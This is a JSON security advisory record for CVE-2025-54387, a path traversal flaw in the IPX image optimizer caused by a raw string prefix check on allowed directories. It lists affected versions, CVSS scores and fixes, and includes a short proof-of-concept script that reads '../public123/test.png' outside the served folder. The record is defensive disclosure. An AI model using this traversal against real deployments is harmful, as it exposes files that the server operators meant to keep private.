{"id":"CVE-2025-54387","aliases":["CVE-2025-54387","GHSA-mm3p-j368-7jcr"],"related":[],"kind":"vulnerability","state":"published","title":"IPX is Vulnerable to Path Traversal via Prefix Matching Bypass","summary":"IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n  storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () => { \n    {\n        const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n        const { data, format } = await source.process();\n        console.log(format) // print image data\n    }\n    {\n        try {\n            const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n            const { data, format } = await source.process();\n            console.log(data)\n        } catch (err) {\n            console.log(err.message) // Forbidden path:\n        }\n\n    }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`","format":"markdown","source":"ghsa"},{"lang":"es","text":"IPX es un optimizador de imágenes desarrollado por Sharp y SVGO. En las versiones 1.3.1 y anteriores, 2.0.0-0 a 2.1.0 y 3.0.0 a 3.1.0, el método para comprobar si una ruta se encuentra dentro de los directorios permitidos es vulnerable a la omisión del prefijo de ruta cuando los directorios permitidos no terminan con un separador de ruta. Esto ocurre porque la comprobación se basa en una comparación de prefijos de cadena sin formato. Esto se ha corregido en las versiones 1.3.2, 2.1.1 y 3.1.1.","source":"nvd"}],"published":"2025-08-04T14:48:25.000Z","modified":"2026-09-10T03:50:27.266Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 1.3.2","status":"affected"},{"version":">= 2.0.0-0, < 2.1.1","status":"affected"},{"version":">= 3.0.0, < 3.1.1","status":"affected"}],"vendor":"unjs","product":"ipx","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.3.2"}],"ecosystem":"npm","package":"ipx","purl":"pkg:npm/ipx","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.0.0-0","status":"affected","fixed":"2.1.1"}],"ecosystem":"npm","package":"ipx","purl":"pkg:npm/ipx","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.0.0","status":"affected","fixed":"3.1.1"}],"ecosystem":"npm","package":"ipx","purl":"pkg:npm/ipx","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.3.2"},{"status":"affected","introduced":"2.0.0","fixed":"2.1.1"},{"status":"affected","introduced":"3.0.0","fixed":"3.1.1"}],"vendor":"unjs","product":"ipx","cpe":"cpe:2.3:a:unjs:ipx:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/unjs/ipx/releases/tag/v1.3.2","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/unjs/ipx/releases/tag/v2.1.1","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/unjs/ipx/releases/tag/v3.1.1","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54387","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/unjs/ipx","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-08-05T14:11:56.190Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54387","url":"https://www.cve.org/CVERecord?id=CVE-2025-54387","licence":"CVE Terms of Use","modified":"2025-08-05T14:11:59.162Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mm3p-j368-7jcr","url":"https://github.com/advisories/GHSA-mm3p-j368-7jcr","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:27.266Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54387","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54387","licence":"Public domain","modified":"2026-06-17T09:39:59.710Z"}],"updatedAt":"2026-11-25T22:59:02.041Z","epss":{"score":0.00792,"percentile":0.5751,"date":"2026-12-01T12:00:22.000Z"}}